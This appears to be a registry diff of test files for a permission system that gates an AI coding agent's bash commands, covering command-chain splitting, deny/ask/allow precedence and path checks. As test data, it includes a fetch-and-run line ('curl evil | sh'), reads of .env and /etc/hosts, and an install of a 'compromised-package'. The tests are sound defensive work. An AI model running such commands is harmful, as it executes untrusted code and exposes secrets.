@gotgenes/pi-permission-system 8.3.2 → 9.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,167 @@
1
+ import { describe, expect, it, vi } from "vitest";
2
+
3
+ import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
4
+ import type { Rule } from "#src/rule";
5
+ import type { PermissionCheckResult } from "#src/types";
6
+
7
+ import { makeCheckResult } from "#test/helpers/handler-fixtures";
8
+
9
+ type CheckPermissionFn = (
10
+ surface: string,
11
+ input: unknown,
12
+ agentName?: string,
13
+ sessionRules?: Rule[],
14
+ ) => PermissionCheckResult;
15
+
16
+ /** Build a bash-surface check result for a single command unit. */
17
+ function bashResult(
18
+ state: PermissionCheckResult["state"],
19
+ command: string,
20
+ matchedPattern?: string,
21
+ ): PermissionCheckResult {
22
+ return makeCheckResult({ state, source: "bash", command, matchedPattern });
23
+ }
24
+
25
+ describe("resolveBashCommandCheck", () => {
26
+ it("passes a single command straight through", async () => {
27
+ const decompose = vi.fn(async () => ["npm install pkg"]);
28
+ const checkPermission = vi
29
+ .fn<CheckPermissionFn>()
30
+ .mockReturnValue(bashResult("allow", "npm install pkg", "npm *"));
31
+
32
+ const result = await resolveBashCommandCheck(
33
+ "npm install pkg",
34
+ undefined,
35
+ [],
36
+ checkPermission,
37
+ decompose,
38
+ );
39
+
40
+ expect(result.state).toBe("allow");
41
+ expect(checkPermission).toHaveBeenCalledTimes(1);
42
+ expect(checkPermission).toHaveBeenCalledWith(
43
+ "bash",
44
+ { command: "npm install pkg" },
45
+ undefined,
46
+ [],
47
+ );
48
+ });
49
+
50
+ it("denies the chain when any sub-command is denied, reporting that command's pattern", async () => {
51
+ const decompose = vi.fn(async () => ["cd /p", "npm install pkg"]);
52
+ const checkPermission = vi
53
+ .fn<CheckPermissionFn>()
54
+ .mockImplementation((_surface, input) => {
55
+ const command = (input as { command: string }).command;
56
+ return command.startsWith("npm")
57
+ ? bashResult("deny", command, "npm *")
58
+ : bashResult("allow", command, "cd *");
59
+ });
60
+
61
+ const result = await resolveBashCommandCheck(
62
+ "cd /p && npm install pkg",
63
+ undefined,
64
+ [],
65
+ checkPermission,
66
+ decompose,
67
+ );
68
+
69
+ expect(result.state).toBe("deny");
70
+ expect(result.matchedPattern).toBe("npm *");
71
+ expect(result.command).toBe("npm install pkg");
72
+ });
73
+
74
+ it("asks when a sub-command asks and none denies", async () => {
75
+ const decompose = vi.fn(async () => ["cd /p", "git push"]);
76
+ const checkPermission = vi
77
+ .fn<CheckPermissionFn>()
78
+ .mockImplementation((_surface, input) => {
79
+ const command = (input as { command: string }).command;
80
+ return command.startsWith("git")
81
+ ? bashResult("ask", command, "git *")
82
+ : bashResult("allow", command, "cd *");
83
+ });
84
+
85
+ const result = await resolveBashCommandCheck(
86
+ "cd /p && git push",
87
+ undefined,
88
+ [],
89
+ checkPermission,
90
+ decompose,
91
+ );
92
+
93
+ expect(result.state).toBe("ask");
94
+ expect(result.matchedPattern).toBe("git *");
95
+ expect(result.command).toBe("git push");
96
+ });
97
+
98
+ it("returns the first allow result when every sub-command is allowed", async () => {
99
+ const decompose = vi.fn(async () => ["a", "b"]);
100
+ const checkPermission = vi
101
+ .fn<CheckPermissionFn>()
102
+ .mockImplementation((_surface, input) => {
103
+ const command = (input as { command: string }).command;
104
+ return bashResult("allow", command, `${command} *`);
105
+ });
106
+
107
+ const result = await resolveBashCommandCheck(
108
+ "a && b",
109
+ undefined,
110
+ [],
111
+ checkPermission,
112
+ decompose,
113
+ );
114
+
115
+ expect(result.state).toBe("allow");
116
+ expect(result.matchedPattern).toBe("a *");
117
+ });
118
+
119
+ it("falls back to the whole command when no top-level commands are found", async () => {
120
+ const decompose = vi.fn(async () => []);
121
+ const checkPermission = vi
122
+ .fn<CheckPermissionFn>()
123
+ .mockReturnValue(bashResult("ask", "( rm x )", "*"));
124
+
125
+ const result = await resolveBashCommandCheck(
126
+ "( rm x )",
127
+ undefined,
128
+ [],
129
+ checkPermission,
130
+ decompose,
131
+ );
132
+
133
+ expect(result.state).toBe("ask");
134
+ expect(checkPermission).toHaveBeenCalledTimes(1);
135
+ expect(checkPermission).toHaveBeenCalledWith(
136
+ "bash",
137
+ { command: "( rm x )" },
138
+ undefined,
139
+ [],
140
+ );
141
+ });
142
+
143
+ it("forwards the agent name and session rules to each sub-command check", async () => {
144
+ const sessionRules: Rule[] = [
145
+ { surface: "bash", pattern: "npm *", action: "allow", origin: "session" },
146
+ ];
147
+ const decompose = vi.fn(async () => ["npm i"]);
148
+ const checkPermission = vi
149
+ .fn<CheckPermissionFn>()
150
+ .mockReturnValue(bashResult("allow", "npm i"));
151
+
152
+ await resolveBashCommandCheck(
153
+ "npm i",
154
+ "agent-x",
155
+ sessionRules,
156
+ checkPermission,
157
+ decompose,
158
+ );
159
+
160
+ expect(checkPermission).toHaveBeenCalledWith(
161
+ "bash",
162
+ { command: "npm i" },
163
+ "agent-x",
164
+ sessionRules,
165
+ );
166
+ });
167
+ });
@@ -0,0 +1,107 @@
1
+ import { describe, expect, it } from "vitest";
2
+
3
+ import { BashProgram } from "#src/handlers/gates/bash-program";
4
+
5
+ describe("BashProgram", () => {
6
+ describe("pathTokens", () => {
7
+ it("returns dot-files and relative path tokens", async () => {
8
+ const program = await BashProgram.parse("cat .env src/foo.ts");
9
+ expect(program.pathTokens()).toEqual([".env", "src/foo.ts"]);
10
+ });
11
+
12
+ it("returns an empty array when there are no path tokens", async () => {
13
+ const program = await BashProgram.parse("echo hello");
14
+ expect(program.pathTokens()).toEqual([]);
15
+ });
16
+
17
+ it("deduplicates repeated tokens across a command chain", async () => {
18
+ const program = await BashProgram.parse("cat .env && rm .env");
19
+ expect(program.pathTokens()).toEqual([".env"]);
20
+ });
21
+ });
22
+
23
+ describe("externalPaths", () => {
24
+ const cwd = "/projects/my-app";
25
+
26
+ it("returns absolute paths resolving outside cwd", async () => {
27
+ const program = await BashProgram.parse("cat /etc/hosts");
28
+ // Subset matcher: the path is normalized before comparison.
29
+ expect(program.externalPaths(cwd)).toContain("/etc/hosts");
30
+ });
31
+
32
+ it("excludes paths within cwd", async () => {
33
+ const program = await BashProgram.parse("cat src/index.ts");
34
+ expect(program.externalPaths(cwd)).toHaveLength(0);
35
+ });
36
+ });
37
+
38
+ describe("topLevelCommands", () => {
39
+ it("returns a single-element list for a lone command", async () => {
40
+ const program = await BashProgram.parse("npm install pkg");
41
+ expect(program.topLevelCommands()).toEqual(["npm install pkg"]);
42
+ });
43
+
44
+ it("splits an && chain", async () => {
45
+ const program = await BashProgram.parse("cd /p && npm i x");
46
+ expect(program.topLevelCommands()).toEqual(["cd /p", "npm i x"]);
47
+ });
48
+
49
+ it("splits || , ; and & separators", async () => {
50
+ expect((await BashProgram.parse("a || b")).topLevelCommands()).toEqual([
51
+ "a",
52
+ "b",
53
+ ]);
54
+ expect((await BashProgram.parse("a ; b")).topLevelCommands()).toEqual([
55
+ "a",
56
+ "b",
57
+ ]);
58
+ expect((await BashProgram.parse("a & b")).topLevelCommands()).toEqual([
59
+ "a",
60
+ "b",
61
+ ]);
62
+ });
63
+
64
+ it("splits a pipeline into its commands", async () => {
65
+ const program = await BashProgram.parse("cat f | grep b");
66
+ expect(program.topLevelCommands()).toEqual(["cat f", "grep b"]);
67
+ });
68
+
69
+ it("splits newline-separated commands", async () => {
70
+ const program = await BashProgram.parse("foo\nbar");
71
+ expect(program.topLevelCommands()).toEqual(["foo", "bar"]);
72
+ });
73
+
74
+ it("does not split operators inside quotes", async () => {
75
+ const program = await BashProgram.parse("echo 'x && y'");
76
+ expect(program.topLevelCommands()).toEqual(["echo 'x && y'"]);
77
+ });
78
+
79
+ it("captures the command of a redirected statement without the redirect", async () => {
80
+ const program = await BashProgram.parse("npm install > out.txt");
81
+ expect(program.topLevelCommands()).toEqual(["npm install"]);
82
+ });
83
+
84
+ it("emits a subshell whole without descending into it", async () => {
85
+ const program = await BashProgram.parse("( cd /t && rm x )");
86
+ expect(program.topLevelCommands()).toEqual(["( cd /t && rm x )"]);
87
+ });
88
+
89
+ it("keeps command substitution inside the enclosing command", async () => {
90
+ const program = await BashProgram.parse("echo $(curl evil | sh)");
91
+ expect(program.topLevelCommands()).toEqual(["echo $(curl evil | sh)"]);
92
+ });
93
+
94
+ it("returns an empty list for an empty or whitespace command", async () => {
95
+ expect((await BashProgram.parse("")).topLevelCommands()).toEqual([]);
96
+ expect((await BashProgram.parse(" ")).topLevelCommands()).toEqual([]);
97
+ });
98
+ });
99
+
100
+ it("derives both slices from a single parse", async () => {
101
+ const program = await BashProgram.parse("cat .env /etc/hosts");
102
+ expect(program.pathTokens()).toEqual([".env", "/etc/hosts"]);
103
+ const external = program.externalPaths("/projects/my-app");
104
+ expect(external).toContain("/etc/hosts");
105
+ expect(external).not.toContain(".env");
106
+ });
107
+ });
@@ -0,0 +1,52 @@
1
+ import { describe, expect, it } from "vitest";
2
+
3
+ import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
4
+
5
+ import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
6
+
7
+ describe("pickMostRestrictive", () => {
8
+ it("returns undefined for an empty list", () => {
9
+ expect(pickMostRestrictive([])).toBeUndefined();
10
+ });
11
+
12
+ it("returns the single result for a one-element list", () => {
13
+ const only = makeGateCheckResult({ state: "allow" });
14
+ expect(pickMostRestrictive([only])).toBe(only);
15
+ });
16
+
17
+ it("prefers deny over ask and allow regardless of position", () => {
18
+ const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
19
+ const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
20
+ const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
21
+ expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
22
+ expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
23
+ });
24
+
25
+ it("prefers ask over allow when no deny is present", () => {
26
+ const allow = makeGateCheckResult({ state: "allow" });
27
+ const ask = makeGateCheckResult({ state: "ask" });
28
+ expect(pickMostRestrictive([allow, ask])).toBe(ask);
29
+ });
30
+
31
+ it("keeps the first deny on ties", () => {
32
+ const deny1 = makeGateCheckResult({
33
+ state: "deny",
34
+ matchedPattern: "first",
35
+ });
36
+ const deny2 = makeGateCheckResult({
37
+ state: "deny",
38
+ matchedPattern: "second",
39
+ });
40
+ expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
41
+ });
42
+
43
+ it("keeps the first ask on ties when no deny is present", () => {
44
+ const allow = makeGateCheckResult({ state: "allow" });
45
+ const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
46
+ const ask2 = makeGateCheckResult({
47
+ state: "ask",
48
+ matchedPattern: "second",
49
+ });
50
+ expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
51
+ });
52
+ });
@@ -36,12 +36,18 @@ function makeHandler(
36
36
  ): {
37
37
  handler: SessionLifecycleHandler;
38
38
  session: PermissionSession;
39
+ activateService: ReturnType<typeof vi.fn>;
39
40
  cleanupRpc: ReturnType<typeof vi.fn>;
40
41
  } {
41
42
  const session = makeSession(overrides);
43
+ const activateService = vi.fn();
42
44
  const cleanupRpc = vi.fn();
43
- const handler = new SessionLifecycleHandler(session, cleanupRpc);
44
- return { handler, session, cleanupRpc };
45
+ const handler = new SessionLifecycleHandler(
46
+ session,
47
+ activateService,
48
+ cleanupRpc,
49
+ );
50
+ return { handler, session, activateService, cleanupRpc };
45
51
  }
46
52
 
47
53
  // ── handleSessionStart ─────────────────────────────────────────────────────
@@ -106,6 +112,13 @@ describe("handleSessionStart", () => {
106
112
  expect(session.logger.debug).not.toHaveBeenCalled();
107
113
  });
108
114
 
115
+ it("activates the service for the session with ctx", async () => {
116
+ const ctx = makeCtx();
117
+ const { handler, activateService } = makeHandler();
118
+ await handler.handleSessionStart({ reason: "startup" }, ctx);
119
+ expect(activateService).toHaveBeenCalledWith(ctx);
120
+ });
121
+
109
122
  it("calls refreshConfig before resetForNewSession", async () => {
110
123
  const callOrder: string[] = [];
111
124
  const { handler } = makeHandler({
@@ -287,3 +287,76 @@ describe("handleToolCall — bash path gate", () => {
287
287
  expect(result).toMatchObject({ block: true });
288
288
  });
289
289
  });
290
+
291
+ // ── bash command chain gate ───────────────────────────────────────────────
292
+
293
+ describe("handleToolCall — bash command chain gate", () => {
294
+ it("blocks a chain when a later sub-command is denied (#301)", async () => {
295
+ const checkPermission = vi
296
+ .fn()
297
+ .mockImplementation((surface: string, input: unknown) => {
298
+ if (surface === "bash") {
299
+ const command = (input as { command?: string }).command ?? "";
300
+ return /^npm\b/.test(command)
301
+ ? makeCheckResult({
302
+ state: "deny",
303
+ source: "bash",
304
+ command,
305
+ matchedPattern: "npm *",
306
+ })
307
+ : makeCheckResult({
308
+ state: "allow",
309
+ source: "bash",
310
+ command,
311
+ matchedPattern: "echo *",
312
+ });
313
+ }
314
+ return makeCheckResult({ state: "allow" });
315
+ });
316
+ const { handler } = makeHandler({
317
+ session: { checkPermission },
318
+ toolRegistry: {
319
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
320
+ },
321
+ });
322
+ const event = {
323
+ type: "tool_call",
324
+ toolCallId: "tc-bash-chain",
325
+ name: "bash",
326
+ input: { command: "echo start && npm install compromised-package" },
327
+ };
328
+ const result = await handler.handleToolCall(event, makeCtx());
329
+ expect(result).toMatchObject({ block: true });
330
+ });
331
+
332
+ it("allows a single non-chained bash command", async () => {
333
+ const checkPermission = vi
334
+ .fn()
335
+ .mockImplementation((surface: string, input: unknown) => {
336
+ if (surface === "bash") {
337
+ const command = (input as { command?: string }).command ?? "";
338
+ return makeCheckResult({
339
+ state: "allow",
340
+ source: "bash",
341
+ command,
342
+ matchedPattern: "echo *",
343
+ });
344
+ }
345
+ return makeCheckResult({ state: "allow" });
346
+ });
347
+ const { handler } = makeHandler({
348
+ session: { checkPermission },
349
+ toolRegistry: {
350
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
351
+ },
352
+ });
353
+ const event = {
354
+ type: "tool_call",
355
+ toolCallId: "tc-bash-single",
356
+ name: "bash",
357
+ input: { command: "echo hi" },
358
+ };
359
+ const result = await handler.handleToolCall(event, makeCtx());
360
+ expect(result).toEqual({});
361
+ });
362
+ });
@@ -0,0 +1,95 @@
1
+ /**
2
+ * `makeFakePi()` — a composition-root test harness.
3
+ *
4
+ * Lets a test run the real `piPermissionSystemExtension(pi)` factory and then
5
+ * introspect and drive the result. Unlike the per-handler unit fixtures in
6
+ * `handler-fixtures.ts` (which inject collaborators), this harness exercises the
7
+ * factory itself — the wiring layer where registration completeness, shared-
8
+ * instance contracts, teardown, and event ordering live.
9
+ *
10
+ * It provides:
11
+ * - `events` — a real `createEventBus()` so cross-extension pub/sub and RPC
12
+ * behave as in production (tests can inject a shared bus to model parent/child
13
+ * instances).
14
+ * - `handlers` — every `pi.on(event, handler)` registration, keyed by event
15
+ * name, so a test can assert completeness and fire handlers.
16
+ * - `commands` — every `pi.registerCommand(name, …)` registration.
17
+ * - `fire(event, input, ctx)` — drive a registered handler; resolves to its
18
+ * (possibly async) result.
19
+ *
20
+ * The harness object is cast to `ExtensionAPI` at the call to the factory; the
21
+ * `FakePi` interface itself stays narrow (ISP — only what the factory touches).
22
+ */
23
+ import { createEventBus, type EventBus } from "@earendil-works/pi-coding-agent";
24
+ import { vi } from "vitest";
25
+
26
+ /** A handler recorded by `pi.on(...)`, kept generic over event/result shapes. */
27
+ export type RecordedHandler = (event: unknown, ctx: unknown) => unknown;
28
+
29
+ export interface FakePi {
30
+ /** Real event bus so cross-extension pub/sub and RPC behave as in production. */
31
+ events: EventBus;
32
+ /** Every `pi.on(event, handler)` registration, keyed by event name. */
33
+ handlers: Map<string, RecordedHandler>;
34
+ /** Every `pi.registerCommand(name, …)` registration, keyed by command name. */
35
+ commands: Map<string, unknown>;
36
+ /**
37
+ * Drive a registered handler; resolves to its (possibly async) result.
38
+ *
39
+ * Throws if no handler is registered for `event` so a typo in a test surfaces
40
+ * loudly instead of silently resolving to `undefined`.
41
+ */
42
+ fire(event: string, input?: unknown, ctx?: unknown): Promise<unknown>;
43
+ /** Minimal tool registry — returns the configured tool names. */
44
+ getAllTools(): { name: string }[];
45
+ setActiveTools(names: string[]): void;
46
+ }
47
+
48
+ export interface MakeFakePiOptions {
49
+ /** Inject a shared bus to model parent/child instances; defaults to a fresh bus. */
50
+ events?: EventBus;
51
+ /** Tool names returned by `getAllTools()`; defaults to a small set. */
52
+ toolNames?: readonly string[];
53
+ }
54
+
55
+ const DEFAULT_TOOL_NAMES = ["read", "write", "edit", "bash", "ls", "grep"];
56
+
57
+ /**
58
+ * Build a fake `ExtensionAPI` for composition-root tests.
59
+ *
60
+ * The returned object is structurally a `FakePi`; pass it to the factory as
61
+ * `piPermissionSystemExtension(pi as unknown as ExtensionAPI)`.
62
+ */
63
+ export function makeFakePi(options: MakeFakePiOptions = {}): FakePi {
64
+ const events = options.events ?? createEventBus();
65
+ const toolNames = options.toolNames ?? DEFAULT_TOOL_NAMES;
66
+ const handlers = new Map<string, RecordedHandler>();
67
+ const commands = new Map<string, unknown>();
68
+
69
+ return {
70
+ events,
71
+ handlers,
72
+ commands,
73
+ fire(event, input, ctx): Promise<unknown> {
74
+ const handler = handlers.get(event);
75
+ if (!handler) {
76
+ throw new Error(`No handler registered for event "${event}"`);
77
+ }
78
+ return Promise.resolve(handler(input, ctx));
79
+ },
80
+ getAllTools(): { name: string }[] {
81
+ return toolNames.map((name) => ({ name }));
82
+ },
83
+ setActiveTools: vi.fn(),
84
+ // ── ExtensionAPI methods the factory touches (recorded) ────────────────
85
+ on(event: string, handler: RecordedHandler): void {
86
+ handlers.set(event, handler);
87
+ },
88
+ registerCommand(name: string, optionsArg: unknown): void {
89
+ commands.set(name, optionsArg);
90
+ },
91
+ // ── ExtensionAPI methods present for the cast but unused by the factory ─
92
+ registerProvider: vi.fn(),
93
+ exec: vi.fn(),
94
+ } as FakePi & Record<string, unknown>;
95
+ }
@@ -279,10 +279,18 @@ describe("piPermissionSystemExtension ready event wiring", () => {
279
279
  rmSync(baseDir, { recursive: true, force: true });
280
280
  });
281
281
 
282
- it("emits permissions:ready with protocolVersion when extension loads", () => {
282
+ it("emits permissions:ready with protocolVersion at session_start", async () => {
283
283
  const emitSpy = vi.fn();
284
+ const handlers = new Map<
285
+ string,
286
+ (event: unknown, ctx: unknown) => unknown
287
+ >();
284
288
  piPermissionSystemExtension({
285
- on: vi.fn(),
289
+ on: vi.fn(
290
+ (event: string, handler: (e: unknown, c: unknown) => unknown) => {
291
+ handlers.set(event, handler);
292
+ },
293
+ ),
286
294
  registerCommand: vi.fn(),
287
295
  getAllTools: vi.fn().mockReturnValue([]),
288
296
  setActiveTools: vi.fn(),
@@ -290,6 +298,28 @@ describe("piPermissionSystemExtension ready event wiring", () => {
290
298
  events: { emit: emitSpy, on: vi.fn().mockReturnValue(() => undefined) },
291
299
  } as never);
292
300
 
301
+ // ready is not emitted at load — only after session_start publishes.
302
+ expect(
303
+ emitSpy.mock.calls.filter(([c]) => c === PERMISSIONS_READY_CHANNEL),
304
+ ).toHaveLength(0);
305
+
306
+ const ctx = {
307
+ cwd: baseDir,
308
+ hasUI: false,
309
+ sessionManager: {
310
+ getEntries: (): unknown[] => [],
311
+ getSessionId: (): string => "top-session",
312
+ getSessionDir: (): string => baseDir,
313
+ },
314
+ ui: {
315
+ notify: (): void => {},
316
+ setStatus: (): void => {},
317
+ select: async (): Promise<string | undefined> => undefined,
318
+ input: async (): Promise<string | undefined> => undefined,
319
+ },
320
+ };
321
+ await handlers.get("session_start")?.({ reason: "start" }, ctx);
322
+
293
323
  const readyCalls = emitSpy.mock.calls.filter(
294
324
  ([channel]) => channel === PERMISSIONS_READY_CHANNEL,
295
325
  );